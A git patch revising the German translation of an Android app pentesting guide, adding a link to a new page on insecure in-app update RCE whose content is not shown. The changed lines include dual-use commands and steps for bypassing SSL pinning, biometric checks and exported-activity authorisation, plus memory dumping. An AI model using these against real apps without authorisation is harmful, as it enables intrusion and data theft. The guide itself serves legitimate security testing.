From c38d01c7fc8f47942264b2c14f570c870b98458c Mon Sep 17 00:00:00 2001 From: Translator Date: Sat, 19 Jul 2025 04:19:08 +0000 Subject: [PATCH] Translated ['src/mobile-pentesting/android-app-pentesting/README.md', 's --- src/SUMMARY.md | 1 + .../android-app-pentesting/README.md | 83 ++++++------ .../insecure-in-app-update-rce.md | 124 ++++++++++++++++++ 3 files changed, 167 insertions(+), 41 deletions(-) create mode 100644 src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md diff --git a/src/SUMMARY.md b/src/SUMMARY.md index 596676a81..2d79a9aa6 100644 --- a/src/SUMMARY.md +++ b/src/SUMMARY.md @@ -334,6 +334,7 @@ - [Frida Tutorial 3](mobile-pentesting/android-app-pentesting/frida-tutorial/owaspuncrackable-1.md) - [Objection Tutorial](mobile-pentesting/android-app-pentesting/frida-tutorial/objection-tutorial.md) - [Google CTF 2018 - Shall We Play a Game?](mobile-pentesting/android-app-pentesting/google-ctf-2018-shall-we-play-a-game.md) + - [Insecure In App Update Rce](mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md) - [Install Burp Certificate](mobile-pentesting/android-app-pentesting/install-burp-certificate.md) - [Intent Injection](mobile-pentesting/android-app-pentesting/intent-injection.md) - [Make APK Accept CA Certificate](mobile-pentesting/android-app-pentesting/make-apk-accept-ca-certificate.md) diff --git a/src/mobile-pentesting/android-app-pentesting/README.md b/src/mobile-pentesting/android-app-pentesting/README.md index 1df986420..e1c71865d 100644 --- a/src/mobile-pentesting/android-app-pentesting/README.md +++ b/src/mobile-pentesting/android-app-pentesting/README.md @@ -19,13 +19,14 @@ Werfen Sie einen Blick auf die folgende Liste von [**ADB-Befehlen**](adb-command ## Smali -Manchmal ist es interessant, den **Anwendungscode zu ändern**, um auf **versteckte Informationen** (vielleicht gut obfuskierte Passwörter oder Flags) zuzugreifen. Dann könnte es interessant sein, die apk zu dekompilieren, den Code zu ändern und ihn neu zu kompilieren.\ -[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, Smali-Code ändert und die APK** mit der neuen Funktionalität **neu kompiliert**](smali-changes.md). Dies könnte als **Alternative für mehrere Tests während der dynamischen Analyse** sehr nützlich sein, die präsentiert werden. Denken Sie daran, **diese Möglichkeit immer im Hinterkopf zu behalten**. +Manchmal ist es interessant, den **Anwendungscode zu modifizieren**, um auf **versteckte Informationen** (vielleicht gut obfuskierte Passwörter oder Flags) zuzugreifen. Dann könnte es interessant sein, die apk zu dekompilieren, den Code zu ändern und ihn neu zu kompilieren.\ +[**In diesem Tutorial** können Sie **lernen, wie man eine APK dekompiliert, Smali-Code ändert und die APK** mit der neuen Funktionalität **neu kompiliert**](smali-changes.md). Dies könnte sehr nützlich sein als **Alternative für mehrere Tests während der dynamischen Analyse**, die präsentiert werden. Denken Sie immer an diese Möglichkeit. -## Andere interessante Tricks +## Weitere interessante Tricks - [Standort im Play Store fälschen](spoofing-your-location-in-play-store.md) - [Shizuku Privileged API (ADB-basierter nicht-root privilegierter Zugriff)](shizuku-privileged-api.md) +- [Ausnutzen unsicherer In-App-Update-Mechanismen](insecure-in-app-update-rce.md) - **APK herunterladen**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd) - APK vom Gerät extrahieren: ```bash @@ -57,16 +58,16 @@ Wenn Sie sich die **Strings** der APK ansehen, können Sie nach **Passwörtern** **Firebase** -Achten Sie besonders auf **Firebase-URLs** und überprüfen Sie, ob sie schlecht konfiguriert sind. [Weitere Informationen darüber, was Firebase ist und wie man es ausnutzt, finden Sie hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) +Achten Sie besonders auf **Firebase-URLs** und überprüfen Sie, ob sie schlecht konfiguriert sind. [Weitere Informationen darüber, was Firebase ist und wie man es ausnutzen kann, finden Sie hier.](../../network-services-pentesting/pentesting-web/buckets/firebase-database.md) -### Grundverständnis der Anwendung - Manifest.xml, strings.xml +### Grundlegendes Verständnis der Anwendung - Manifest.xml, strings.xml Die **Untersuchung der _Manifest.xml_ und _strings.xml_**-Dateien einer Anwendung kann potenzielle Sicherheitsanfälligkeiten aufdecken. Diese Dateien können mit Decompilern oder durch Umbenennen der APK-Dateierweiterung in .zip und anschließendes Entpacken darauf zugegriffen werden. **Sicherheitsanfälligkeiten**, die aus der **Manifest.xml** identifiziert wurden, umfassen: - **Debuggable Anwendungen**: Anwendungen, die im _Manifest.xml_ als debuggable (`debuggable="true"`) festgelegt sind, stellen ein Risiko dar, da sie Verbindungen zulassen, die zu einer Ausnutzung führen können. Für ein besseres Verständnis, wie man debuggable Anwendungen ausnutzt, verweisen Sie auf ein Tutorial zum Finden und Ausnutzen von debuggable Anwendungen auf einem Gerät. -- **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte ausdrücklich für Anwendungen, die mit sensiblen Informationen umgehen, festgelegt werden, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist. +- **Backup-Einstellungen**: Das Attribut `android:allowBackup="false"` sollte ausdrücklich für Anwendungen festgelegt werden, die mit sensiblen Informationen umgehen, um unbefugte Datenbackups über adb zu verhindern, insbesondere wenn USB-Debugging aktiviert ist. - **Netzwerksicherheit**: Benutzerdefinierte Netzwerksicherheitskonfigurationen (`android:networkSecurityConfig="@xml/network_security_config"`) in _res/xml/_ können Sicherheitsdetails wie Zertifikatspinning und HTTP-Verkehrseinstellungen spezifizieren. Ein Beispiel ist das Zulassen von HTTP-Verkehr für bestimmte Domains. - **Exportierte Aktivitäten und Dienste**: Das Identifizieren exportierter Aktivitäten und Dienste im Manifest kann Komponenten hervorheben, die missbraucht werden könnten. Eine weitere Analyse während des dynamischen Testens kann aufzeigen, wie man diese Komponenten ausnutzt. - **Content Provider und FileProviders**: Exponierte Content Provider könnten unbefugten Zugriff oder Modifikationen von Daten ermöglichen. Die Konfiguration von FileProviders sollte ebenfalls überprüft werden. @@ -124,7 +125,7 @@ Beim Umgang mit Dateien auf **externem Speicher**, wie SD-Karten, sollten bestim Externer Speicher kann in `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard` **zugegriffen** werden. > [!TIP] -> Seit Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten. +> Ab Android 4.4 (**API 17**) hat die SD-Karte eine Verzeichnisstruktur, die **den Zugriff einer App auf das Verzeichnis, das speziell für diese App vorgesehen ist, einschränkt**. Dies verhindert, dass bösartige Anwendungen Lese- oder Schreibzugriff auf die Dateien einer anderen App erhalten. **Sensible Daten im Klartext gespeichert** @@ -146,7 +147,7 @@ Eine gute Möglichkeit, dies zu testen, besteht darin, den Datenverkehr mit eine **Schlechte Schlüsselverwaltungsprozesse** -Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hardcodierten/vorhersehbaren Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren. +Einige Entwickler speichern sensible Daten im lokalen Speicher und verschlüsseln sie mit einem im Code hartcodierten/vorhersehbaren Schlüssel. Dies sollte nicht geschehen, da einige Reverse-Engineering-Aktivitäten Angreifern ermöglichen könnten, die vertraulichen Informationen zu extrahieren. **Verwendung unsicherer und/oder veralteter Algorithmen** @@ -158,7 +159,7 @@ Entwickler sollten keine **veralteten Algorithmen** verwenden, um **Autorisierun - Wenn die App sensibel ist (wie Bank-Apps), sollte sie **eigene Überprüfungen durchführen, um zu sehen, ob das Mobilgerät gerootet ist**, und entsprechend handeln. - Wenn die App sensibel ist (wie Bank-Apps), sollte sie überprüfen, ob ein **Emulator** verwendet wird. - Wenn die App sensibel ist (wie Bank-Apps), sollte sie **ihre eigene Integrität überprüfen, bevor sie ausgeführt wird**, um zu prüfen, ob sie modifiziert wurde. -- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator zum Erstellen der APK verwendet wurde. +- Verwenden Sie [**APKiD**](https://github.com/rednaga/APKiD), um zu überprüfen, welcher Compiler/Packer/Obfuskator verwendet wurde, um die APK zu erstellen. ### React Native Anwendung @@ -178,7 +179,7 @@ Lesen Sie die folgende Seite, um zu erfahren, wie Sie einfach auf den C#-Code vo ### Superpacked Anwendungen -Laut diesem [**Blogbeitrag**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) ist Superpacked ein Meta-Algorithmus, der den Inhalt einer Anwendung in eine einzelne Datei komprimiert. Der Blog spricht über die Möglichkeit, eine App zu erstellen, die diese Art von Apps dekomprimiert... und einen schnelleren Weg, der darin besteht, die **Anwendung auszuführen und die dekomprimierten Dateien vom Dateisystem zu sammeln.** +Laut diesem [**Blogbeitrag**](https://clearbluejar.github.io/posts/desuperpacking-meta-superpacked-apks-with-github-actions/) ist Superpacked ein Meta-Algorithmus, der den Inhalt einer Anwendung in einer einzigen Datei komprimiert. Der Blog spricht über die Möglichkeit, eine App zu erstellen, die diese Art von Apps dekomprimiert... und einen schnelleren Weg, der darin besteht, die **Anwendung auszuführen und die dekomprimierten Dateien vom Dateisystem zu sammeln.** ### Automatisierte statische Codeanalyse @@ -227,11 +228,11 @@ Sie können sogar **die Protokolle Ihrer Anwendung** im Web sehen und über **ad Dank der ADB-Verbindung können Sie **Drozer** und **Frida** in den Emulatoren verwenden. -### Lokale dynamische Analyse +### Lokale Dynamische Analyse #### Verwendung eines Emulators -- [**Android Studio**](https://developer.android.com/studio) (Sie können **x86** und **arm** Geräte erstellen, und laut [**diesem** ](https://android-developers.googleblog.com/2020/03/run-arm-apps-on-android-emulator.html)**neueste x86** Versionen **unterstützen ARM-Bibliotheken** ohne einen langsamen ARM-Emulator zu benötigen). +- [**Android Studio**](https://developer.android.com/studio) (Sie können **x86**- und **arm**-Geräte erstellen, und die **neueste x86**-Version **unterstützt ARM-Bibliotheken**, ohne dass ein langsamer ARM-Emulator erforderlich ist). - Lernen Sie, wie Sie es auf dieser Seite einrichten: {{#ref}} @@ -248,7 +249,7 @@ Um **Google-Dienste** (wie den App Store) in Genymotion zu installieren, müssen ![](<../../images/image (277).png>) -Beachten Sie auch, dass Sie in der **Konfiguration der Android-VM in Genymotion** den **Bridge-Netzwerkmodus** auswählen können (dies wird nützlich sein, wenn Sie von einer anderen VM mit den Tools auf die Android-VM zugreifen möchten). +Beachten Sie auch, dass Sie in der **Konfiguration der Android-VM in Genymotion** den **Bridge-Netzwerkmodus** auswählen können (dies ist nützlich, wenn Sie von einer anderen VM mit den Tools auf die Android-VM zugreifen möchten). #### Verwendung eines physischen Geräts @@ -258,7 +259,7 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es 2. (Ab Android 8.0) Wählen Sie **System**. 3. Wählen Sie **Über das Telefon**. 4. Drücken Sie **Build-Nummer** 7 Mal. -5. Gehen Sie zurück und Sie finden die **Entwickleroptionen**. +5. Gehen Sie zurück, und Sie finden die **Entwickleroptionen**. > Sobald Sie die Anwendung installiert haben, sollten Sie zunächst versuchen, sie zu verwenden und zu untersuchen, was sie tut, wie sie funktioniert und sich damit vertraut zu machen.\ > Ich empfehle, diese erste dynamische Analyse mit MobSF-Dynamikanalyse + pidcat durchzuführen, damit wir **lernen können, wie die Anwendung funktioniert**, während MobSF eine Menge **interessanter** **Daten** erfasst, die Sie später überprüfen können. @@ -267,15 +268,15 @@ Sie müssen die **Debugging**-Optionen aktivieren, und es wäre gut, wenn Sie es **Protokollierung** -Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen, um sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt. +Entwickler sollten vorsichtig sein, **Debugging-Informationen** öffentlich zugänglich zu machen, da dies zu sensiblen Datenlecks führen kann. Die Tools [**pidcat**](https://github.com/JakeWharton/pidcat) und `adb logcat` werden empfohlen, um Anwendungsprotokolle zu überwachen und sensible Informationen zu identifizieren und zu schützen. **Pidcat** wird wegen seiner Benutzerfreundlichkeit und Lesbarkeit bevorzugt. > [!WARNING] > Beachten Sie, dass ab **neueren Versionen als Android 4.0** **Anwendungen nur auf ihre eigenen Protokolle zugreifen können**. Anwendungen können also nicht auf die Protokolle anderer Apps zugreifen.\ > Dennoch wird empfohlen, **sensible Informationen nicht zu protokollieren**. -**Zwischenablage-Puffer-Caching** +**Zwischenablage-Caching** -Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegen könnte. Es ist entscheidend, die Funktionen **Kopieren/Einfügen** für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern. +Das **zwischenablagebasierte** Framework von Android ermöglicht die Copy-Paste-Funktionalität in Apps, birgt jedoch ein Risiko, da **andere Anwendungen** auf die Zwischenablage **zugreifen** können, was potenziell sensible Daten offenlegt. Es ist wichtig, die **Copy/Paste**-Funktionen für sensible Abschnitte einer Anwendung, wie z. B. Kreditkartendaten, zu deaktivieren, um Datenlecks zu verhindern. **Absturzprotokolle** @@ -298,7 +299,7 @@ Zählen Sie die Tabellen mit `.tables` und zählen Sie die Spalten der Tabellen ### Drozer (Exploiting Activities, Content Providers und Services) -Laut [Drozer-Dokumentation](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ermöglicht es Ihnen, **die Rolle einer Android-App zu übernehmen** und mit anderen Apps zu interagieren. Es kann **alles tun, was eine installierte Anwendung tun kann**, wie die Nutzung des Inter-Process Communication (IPC)-Mechanismus von Android und die Interaktion mit dem zugrunde liegenden Betriebssystem.\ +Aus [Drozer-Dokumentation](https://labs.mwrinfosecurity.com/assets/BlogFiles/mwri-drozer-user-guide-2015-03-23.pdf): **Drozer** ermöglicht es Ihnen, **die Rolle einer Android-App zu übernehmen** und mit anderen Apps zu interagieren. Es kann **alles tun, was eine installierte Anwendung tun kann**, wie die Nutzung des Inter-Process Communication (IPC)-Mechanismus von Android und die Interaktion mit dem zugrunde liegenden Betriebssystem.\ Drozer ist ein nützliches Tool, um **exportierte Aktivitäten, exportierte Dienste und Content Providers** auszunutzen, wie Sie in den folgenden Abschnitten lernen werden. ### Ausnutzen exportierter Aktivitäten @@ -308,7 +309,7 @@ Denken Sie auch daran, dass der Code einer Aktivität in der **`onCreate`**-Meth **Autorisierungsumgehung** -Wenn eine Aktivität exportiert wird, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** wird, die **Authentifizierungs**mechanismen **umgehen**, um darauf zuzugreifen. +Wenn eine Aktivität exportiert wird, können Sie ihren Bildschirm von einer externen App aus aufrufen. Daher könnten Sie, wenn eine Aktivität mit **sensiblen Informationen** **exportiert** wird, die **Authentifizierungsmechanismen** **umgehen**, um darauf zuzugreifen. [**Erfahren Sie, wie Sie exportierte Aktivitäten mit Drozer ausnutzen.**](drozer-tutorial/index.html#activities) @@ -322,7 +323,7 @@ adb shell am start -n com.example.demo/com.example.test.MainActivity **HINWEIS**: MobSF wird die Verwendung von _**singleTask/singleInstance**_ als `android:launchMode` in einer Aktivität als bösartig erkennen, aber aufgrund von [diesem](https://github.com/MobSF/Mobile-Security-Framework-MobSF/pull/750) ist dies anscheinend nur in alten Versionen (API-Versionen < 21) gefährlich. > [!TIPP] -> Beachten Sie, dass ein Autorisierungsumgehung nicht immer eine Schwachstelle ist, es hängt davon ab, wie die Umgehung funktioniert und welche Informationen offengelegt werden. +> Beachten Sie, dass ein Autorisierungsumgehung nicht immer eine Schwachstelle ist; es hängt davon ab, wie die Umgehung funktioniert und welche Informationen offengelegt werden. **Sensibler Informationsleck** @@ -335,7 +336,7 @@ Wenn Tapjacking nicht verhindert wird, könnten Sie die exportierte Aktivität m ### Ausnutzen von Content Providern - Zugriff auf und Manipulation sensibler Informationen [**Lesen Sie dies, wenn Sie auffrischen möchten, was ein Content Provider ist.**](android-applications-basics.md#content-provider)\ -Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injection**- und **Path Traversal**-Angriffe zu testen, da sie anfällig sein könnten. +Content Provider werden im Grunde verwendet, um **Daten zu teilen**. Wenn eine App verfügbare Content Provider hat, können Sie möglicherweise **sensible** Daten von ihnen **extrahieren**. Es ist auch interessant, mögliche **SQL-Injektionen** und **Path Traversals** zu testen, da sie anfällig sein könnten. [**Erfahren Sie, wie Sie Content Provider mit Drozer ausnutzen.**](drozer-tutorial/index.html#content-providers) @@ -371,7 +372,7 @@ _Beachten Sie, dass Sie **den Paketnamen weglassen** können und das Mobilgerät ``` **Code ausgeführt** -Um den **Code zu finden, der in der App ausgeführt wird**, gehe zur Aktivität, die durch den Deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**. +Um den **Code zu finden, der in der App ausgeführt wird**, gehe zu der Aktivität, die durch den Deeplink aufgerufen wird, und suche die Funktion **`onNewIntent`**. ![](<../../images/image (436) (1) (1) (1).png>) @@ -390,8 +391,8 @@ Ein [interessanter Bug-Bounty-Bericht](https://hackerone.com/reports/855618) üb ### Transport Layer Inspektion und Verifizierungsfehler -- **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen übersehen und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen auf HTTP-Verbindungen zurückgreifen. -- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach** und verwenden unsichere Cipher-Suiten. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln. +- **Zertifikate werden von Android-Anwendungen nicht immer ordnungsgemäß überprüft**. Es ist üblich, dass diese Anwendungen Warnungen übersehen und selbstsignierte Zertifikate akzeptieren oder in einigen Fällen zu HTTP-Verbindungen zurückkehren. +- **Verhandlungen während des SSL/TLS-Handshakes sind manchmal schwach**, da unsichere Cipher-Suiten verwendet werden. Diese Verwundbarkeit macht die Verbindung anfällig für Man-in-the-Middle (MITM)-Angriffe, die es Angreifern ermöglichen, die Daten zu entschlüsseln. - **Leckage privater Informationen** ist ein Risiko, wenn Anwendungen über sichere Kanäle authentifizieren, dann jedoch über unsichere Kanäle für andere Transaktionen kommunizieren. Dieser Ansatz schützt sensible Daten, wie Sitzungscookies oder Benutzerdetails, nicht vor Abfangen durch böswillige Akteure. #### Zertifikatsverifizierung @@ -406,7 +407,7 @@ SSL-Pinning ist eine Sicherheitsmaßnahme, bei der die Anwendung das Serverzerti Um HTTP-Verkehr zu inspizieren, ist es notwendig, das **Zertifikat des Proxy-Tools** (z. B. Burp) zu **installieren**. Ohne die Installation dieses Zertifikats ist der verschlüsselte Verkehr möglicherweise nicht über den Proxy sichtbar. Für eine Anleitung zur Installation eines benutzerdefinierten CA-Zertifikats, [**klicke hier**](avd-android-virtual-device.md#install-burp-certificate-on-a-virtual-machine). -Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**siehe dieses Tutorial**](make-apk-accept-ca-certificate.md). +Anwendungen, die **API Level 24 und höher** anvisieren, erfordern Änderungen an der Network Security Config, um das CA-Zertifikat des Proxys zu akzeptieren. Dieser Schritt ist entscheidend für die Inspektion von verschlüsseltem Verkehr. Für Anweisungen zur Änderung der Network Security Config, [**verweise auf dieses Tutorial**](make-apk-accept-ca-certificate.md). Wenn **Flutter** verwendet wird, musst du die Anweisungen auf [**dieser Seite**](flutter.md) befolgen. Dies liegt daran, dass das bloße Hinzufügen des Zertifikats in den Store nicht funktioniert, da Flutter seine eigene Liste gültiger CAs hat. @@ -414,10 +415,10 @@ Wenn **Flutter** verwendet wird, musst du die Anweisungen auf [**dieser Seite**] Wenn SSL-Pinning implementiert ist, wird es notwendig, es zu umgehen, um HTTPS-Verkehr zu inspizieren. Verschiedene Methoden stehen dafür zur Verfügung: -- Automatisch **modifiziere** die **apk**, um **SSL-Pinning zu umgehen** mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm). Der größte Vorteil dieser Option ist, dass du kein Root benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer. +- Automatisch **modifiziere** die **apk**, um SSL-Pinning mit [**apk-mitm**](https://github.com/shroudedcode/apk-mitm) zu **umgehen**. Der größte Vorteil dieser Option ist, dass du keinen Root-Zugriff benötigst, um das SSL-Pinning zu umgehen, aber du musst die Anwendung deinstallieren und die neue installieren, und das funktioniert nicht immer. - Du könntest **Frida** (unten besprochen) verwenden, um diesen Schutz zu umgehen. Hier hast du eine Anleitung zur Verwendung von Burp+Frida+Genymotion: [https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/](https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/) -- Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` -- Du kannst auch versuchen, **SSL-Pinning automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt) +- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit [**objection**](frida-tutorial/objection-tutorial.md)**:** `objection --gadget com.package.app explore --startup-command "android sslpinning disable"` +- Du kannst auch versuchen, SSL-Pinning **automatisch zu umgehen** mit **MobSF dynamischer Analyse** (unten erklärt). - Wenn du immer noch denkst, dass es Verkehr gibt, den du nicht erfasst, kannst du versuchen, **den Verkehr mit iptables an burp weiterzuleiten**. Lies diesen Blog: [https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62](https://infosecwriteups.com/bypass-ssl-pinning-with-ip-forwarding-iptables-568171b52b62) #### Suche nach häufigen Webverwundbarkeiten @@ -427,18 +428,18 @@ Es ist auch wichtig, nach häufigen Webverwundbarkeiten innerhalb der Anwendung ### Frida [Frida](https://www.frida.re) ist ein dynamisches Instrumentierungstool für Entwickler, Reverse-Engineers und Sicherheitsforscher.\ -**Du kannst laufende Anwendungen zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\ +**Du kannst auf die laufende Anwendung zugreifen und Methoden zur Laufzeit hooken, um das Verhalten zu ändern, Werte zu ändern, Werte zu extrahieren, anderen Code auszuführen...**\ Wenn du Android-Anwendungen pentesten möchtest, musst du wissen, wie man Frida verwendet. - Lerne, wie man Frida verwendet: [**Frida-Tutorial**](frida-tutorial/index.html) - Eine "GUI" für Aktionen mit Frida: [**https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security**](https://github.com/m0bilesecurity/RMS-Runtime-Mobile-Security) - Ojection ist großartig, um die Verwendung von Frida zu automatisieren: [**https://github.com/sensepost/objection**](https://github.com/sensepost/objection) **,** [**https://github.com/dpnishant/appmon**](https://github.com/dpnishant/appmon) -- Du kannst einige großartige Frida-Skripte hier finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re) -- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida wie in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben lädst (Tool [linjector](https://github.com/erfur/linjector-rs)) +- Du kannst hier einige großartige Frida-Skripte finden: [**https://codeshare.frida.re/**](https://codeshare.frida.re) +- Versuche, Anti-Debugging / Anti-Frida-Mechanismen zu umgehen, indem du Frida so lädst, wie es in [https://erfur.github.io/blog/dev/code-injection-without-ptrace](https://erfur.github.io/blog/dev/code-injection-without-ptrace) angegeben ist (Tool [linjector](https://github.com/erfur/linjector-rs)) ### **Speicher dumpen - Fridump** -Überprüfe, ob die Anwendung sensible Informationen im Speicher speichert, die sie nicht speichern sollte, wie Passwörter oder mnemonics. +Überprüfe, ob die Anwendung sensible Informationen im Speicher speichert, die sie nicht speichern sollte, wie Passwörter oder mnemonische Sätze. Mit [**Fridump3**](https://github.com/rootbsd/fridump3) kannst du den Speicher der App dumpen mit: ```bash @@ -471,13 +472,13 @@ frida --codeshare krapgras/android-biometric-bypass-update-android-11 -U -f 5** wird **automatisch Frida gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur der Verkehr der getesteten Anwendung erfasst. +Ab Android **Versionen > 5** wird **automatisch Frida gestartet** und die globalen **Proxy**-Einstellungen werden festgelegt, um den Verkehr zu **erfassen**. Es wird nur den Verkehr der getesteten Anwendung erfassen. **Frida** Standardmäßig werden auch einige Frida-Skripte verwendet, um **SSL-Pinning**, **Root-Erkennung** und **Debugger-Erkennung** zu **umgehen** und um **interessante APIs** zu **überwachen**.\ MobSF kann auch **exportierte Aktivitäten aufrufen**, **Screenshots** davon machen und sie für den Bericht **speichern**. -Um mit dem dynamischen Testen zu **beginnen**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie auf "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und auf "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies wird nach dem Drücken von "Start Instrumentation" angezeigt).\ +Um den dynamischen Test zu **starten**, drücken Sie die grüne Schaltfläche: "**Start Instrumentation**". Drücken Sie auf "**Frida Live Logs**", um die von den Frida-Skripten generierten Protokolle zu sehen, und auf "**Live API Monitor**", um alle Aufrufe an gehookte Methoden, übergebene Argumente und zurückgegebene Werte zu sehen (dies wird nach dem Drücken von "Start Instrumentation" angezeigt).\ MobSF ermöglicht es Ihnen auch, Ihre eigenen **Frida-Skripte** zu laden (um die Ergebnisse Ihrer Frida-Skripte an MobSF zu senden, verwenden Sie die Funktion `send()`). Es hat auch **mehrere vorgefertigte Skripte**, die Sie laden können (Sie können weitere in `MobSF/DynamicAnalyzer/tools/frida_scripts/others/` hinzufügen), wählen Sie einfach **sie aus**, drücken Sie "**Load**" und drücken Sie "**Start Instrumentation**" (Sie können die Protokolle dieser Skripte in "**Frida Live Logs**" sehen). ![](<../../images/image (419).png>) @@ -579,7 +580,7 @@ Um dies zu tun, _Burp einschalten -->_ _Intercept ausschalten --> im MobSB HTTPT Sobald Sie die dynamische Analyse mit MobSF abgeschlossen haben, können Sie auf "**Start Web API Fuzzer**" drücken, um **HTTP-Anfragen zu fuzzern** und nach Schwachstellen zu suchen. > [!TIP] -> Nach der Durchführung einer dynamischen Analyse mit MobSF können die Proxy-Einstellungen falsch konfiguriert sein, und Sie können sie nicht über die GUI beheben. Sie können die Proxy-Einstellungen beheben, indem Sie Folgendes tun: +> Nach der Durchführung einer dynamischen Analyse mit MobSF können die Proxy-Einstellungen falsch konfiguriert sein, und Sie können sie nicht über die GUI beheben. Sie können die Proxy-Einstellungen beheben, indem Sie: > > ``` > adb shell settings put global http_proxy :0 @@ -620,7 +621,7 @@ reverse-apk relative/path/to/APP.apk SUPER ist eine Befehlszeilenanwendung, die unter Windows, MacOS X und Linux verwendet werden kann und _.apk_-Dateien auf Schwachstellen analysiert. Dies geschieht durch das Dekomprimieren von APKs und das Anwenden einer Reihe von Regeln, um diese Schwachstellen zu erkennen. -Alle Regeln sind in einer `rules.json`-Datei zentriert, und jedes Unternehmen oder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen. +Alle Regeln sind in einer `rules.json`-Datei zentralisiert, und jedes Unternehmen oder Tester kann eigene Regeln erstellen, um das zu analysieren, was sie benötigen. Laden Sie die neuesten Binärdateien von der [Download-Seite](https://superanalyzer.rocks/download.html) herunter. ``` @@ -709,7 +710,7 @@ Dies ist ein LLM-Tool, um potenzielle Sicherheitsanfälligkeiten in Android-Apps ### [Simplify](https://github.com/CalebFenton/simplify) -Es ist ein **generischer Android-Deobfuskator.** Simplify **führt eine App virtuell aus**, um ihr Verhalten zu verstehen, und **versucht dann, den Code zu optimieren**, sodass er identisch funktioniert, aber für einen Menschen leichter zu verstehen ist. Jeder Optimierungstyp ist einfach und generisch, sodass es keine Rolle spielt, welcher spezifische Obfuskationstyp verwendet wird. +Es ist ein **generischer Android-Deobfuskator.** Simplify **führt eine App virtuell aus**, um ihr Verhalten zu verstehen, und **versucht dann, den Code zu optimieren**, sodass er identisch funktioniert, aber für einen Menschen leichter verständlich ist. Jeder Optimierungstyp ist einfach und generisch, sodass es keine Rolle spielt, welcher spezifische Obfuskationstyp verwendet wird. ### [APKiD](https://github.com/rednaga/APKiD) diff --git a/src/mobile-pentesting/android-app-pentesting/insecure-in-app-update-rce.md 